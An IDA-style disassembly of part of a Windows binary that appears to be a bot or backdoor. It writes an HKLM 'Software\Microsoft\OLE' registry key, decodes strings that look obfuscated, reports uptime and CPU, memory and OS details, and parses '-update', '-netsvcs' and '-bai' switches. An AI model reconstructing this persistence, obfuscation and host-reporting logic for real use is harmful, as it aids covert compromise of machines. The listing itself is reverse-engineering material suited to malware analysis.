		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_511764
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019C4
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017EE
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		call	near ptr 2960000h
		nop
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_511740
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017EE
		mov	ebp, dword_51176C
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_404CC0	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h
		dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 0A46EE850h, 6A900240h
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h,	4C8D50FFh
		dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h
		dd 0E89050FFh, 23FAFFCh, 1024548Dh, 78244C8Dh, 3F6852h
		dd 6A000Fh, 0FFBBD9E8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h
		dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB56DE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A0240A3h, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h
		dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh
		dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h
		dd 50FFFFB9h, 0AEB6E890h, 448D023Fh, 4C8D1024h,	68507824h
		dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBE61h, 0A1EAE850h, 6A900240h, 6A056A00h, 6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h
		dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h,	0FFB9A5E8h
		dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h
		dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h,	17424h
		dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h,	0AD76E890h
		dd 4C8D023Fh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
		dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h
		dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBD14E8h,	0E89050FFh, 240A09Ch, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch
		dd 444684h, 0B07BE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB261E8h, 244C8DFFh,	0B6BDE844h, 0E850FFFFh
		dd 23FAC28h, 24548D90h,	244C8D10h, 3F685278h, 6A000F00h
		dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFB9B8h
		dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh
		dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBBD4E8h, 5DE850FFh
		dd 9002409Fh, 56A006Ah,	56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h
		dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h
		dd 244C8DFFh, 0B57DE844h, 9050FFFFh, 3FAAE7E8h,	24448D02h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh
		dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
		dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh,	0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_406730	proc near		; CODE XREF: sub_40195Bj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_406730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_40142E
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406781
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_402112
		mov	[esp+38h+var_28], ebp
		jmp	loc_406827
; ---------------------------------------------------------------------------


loc_406781:				; CODE XREF: sub_406730+3Aj
		call	near ptr 2800B86h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_406813
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		jmp	short loc_406823
; ---------------------------------------------------------------------------


loc_406813:				; CODE XREF: sub_406730+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870


loc_406823:				; CODE XREF: sub_406730+E1j
		mov	[esp+38h+var_28], ebp


loc_406827:				; CODE XREF: sub_406730+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_406730	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4068A0:				; CODE XREF: ___:00401672j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_448F30
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4068E0	proc near		; CODE XREF: sub_401F5Aj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4068E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_40142E
		mov	[esp+1A4h+var_4], 1
		call	near ptr 2800B86h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2840000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 2830000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_4069AE
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406996
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406986
		mov	ebp, offset a95	; "95"
		jmp	loc_406A21
; ---------------------------------------------------------------------------


loc_406986:				; CODE XREF: sub_4068E0+9Aj
		cmp	eax, 2
		jnz	loc_406A1D
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_4069EA
; ---------------------------------------------------------------------------


loc_406996:				; CODE XREF: sub_4068E0+8Ej
		cmp	eax, 0Ah
		jnz	short loc_4069A2
		mov	ebp, offset a98	; "98"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069A2:				; CODE XREF: sub_4068E0+B9j
		cmp	eax, 5Ah
		jnz	short loc_4069DB
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069AE:				; CODE XREF: sub_4068E0+83j
		cmp	eax, 5
		jnz	short loc_4069DB
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_4069C5
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069C5:				; CODE XREF: sub_4068E0+DCj
		cmp	eax, 1
		jnz	short loc_4069D1
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069D1:				; CODE XREF: sub_4068E0+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_4069E0


loc_4069DB:				; CODE XREF: sub_4068E0+C5j
					; sub_4068E0+D1j
		mov	ebp, offset a??? ; "???"


loc_4069E0:				; CODE XREF: sub_4068E0+C0j
					; sub_4068E0+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_406A21


loc_4069EA:				; CODE XREF: sub_4068E0+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_406A21
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		call	sub_5FC011
		nop
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_406A21
; ---------------------------------------------------------------------------


loc_406A1D:				; CODE XREF: sub_4068E0+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_406A21:				; CODE XREF: sub_4068E0+A1j
					; sub_4068E0+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		call	near ptr 282112Dh
		nop
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		call	near ptr 2940000h
		nop
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017FD
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_4068E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BF0	proc near		; CODE XREF: sub_4015E6j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401447
		test	byte ptr [esp+8], 1
		jz	short loc_406C38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C38:				; CODE XREF: ___:00406C2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C50	proc near		; CODE XREF: sub_401447j
		mov	dword ptr [ecx], offset	off_43F008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C67
		push	ecx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C67:				; CODE XREF: sub_406C50+Ej
		retn
sub_406C50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C80	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C80
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406CB1
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406CB1:				; CODE XREF: sub_406C80+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
sub_406C80	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_511B00
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_444600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D62:				; CODE XREF: ___:00406D74j
		push	offset asc_444600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D62
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F68
		lea	ebp, [esp+58h]


loc_406D88:				; CODE XREF: ___:00406F60j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4447EC
		mov	eax, edi


loc_406D92:				; CODE XREF: ___:00406DB0j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DB6
		test	cl, cl
		jz	short loc_406DB2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DB6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D92


loc_406DB2:				; CODE XREF: ___:00406D9Cj
		xor	eax, eax
		jmp	short loc_406DBB
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: ___:00406D98j
					; ___:00406DA6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DBB:				; CODE XREF: ___:00406DB4j
		test	eax, eax
		jz	loc_406F58
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406DCA:				; CODE XREF: ___:00406DE8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DEE
		test	cl, cl
		jz	short loc_406DEA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DEE
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DCA


loc_406DEA:				; CODE XREF: ___:00406DD4j
		xor	eax, eax
		jmp	short loc_406DF3
; ---------------------------------------------------------------------------


loc_406DEE:				; CODE XREF: ___:00406DD0j
					; ___:00406DDEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DF3:				; CODE XREF: ___:00406DECj
		test	eax, eax
		jnz	short loc_406E00
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E00:				; CODE XREF: ___:00406DF5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406E07:				; CODE XREF: ___:00406E25j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E2B
		test	cl, cl
		jz	short loc_406E27
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E2B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E07


loc_406E27:				; CODE XREF: ___:00406E11j
		xor	eax, eax
		jmp	short loc_406E30
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: ___:00406E0Dj
					; ___:00406E1Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E30:				; CODE XREF: ___:00406E29j
		test	eax, eax
		jnz	short loc_406E3D
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E3D:				; CODE XREF: ___:00406E32j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406E44:				; CODE XREF: ___:00406E62j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E68
		test	cl, cl
		jz	short loc_406E64
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E44


loc_406E64:				; CODE XREF: ___:00406E4Ej
		xor	eax, eax
		jmp	short loc_406E6D
; ---------------------------------------------------------------------------


loc_406E68:				; CODE XREF: ___:00406E4Aj
					; ___:00406E58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E6D:				; CODE XREF: ___:00406E66j
		test	eax, eax
		jnz	loc_406F58
		lea	ecx, [esp+10h]
		call	sub_40142E
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_406F44
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015E1
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406F44
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_40168B
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406F44:				; CODE XREF: ___:00406EA1j
					; ___:00406EF1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F58:				; CODE XREF: ___:00406DBDj
					; ___:00406DFBj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D88
		xor	ecx, ecx


loc_406F68:				; CODE XREF: ___:00406D7Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F75
		mov	[ebx+5], ecx


loc_406F75:				; CODE XREF: ___:00406F70j
		cmp	[ebx+5], ecx
		jnz	short loc_406F85
		test	al, al
		jz	short loc_406F85
		mov	dword ptr [ebx+5], 0Ah


loc_406F85:				; CODE XREF: ___:00406F78j
					; ___:00406F7Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_406FB0	db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407080	proc near		; CODE XREF: sub_4020BDj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
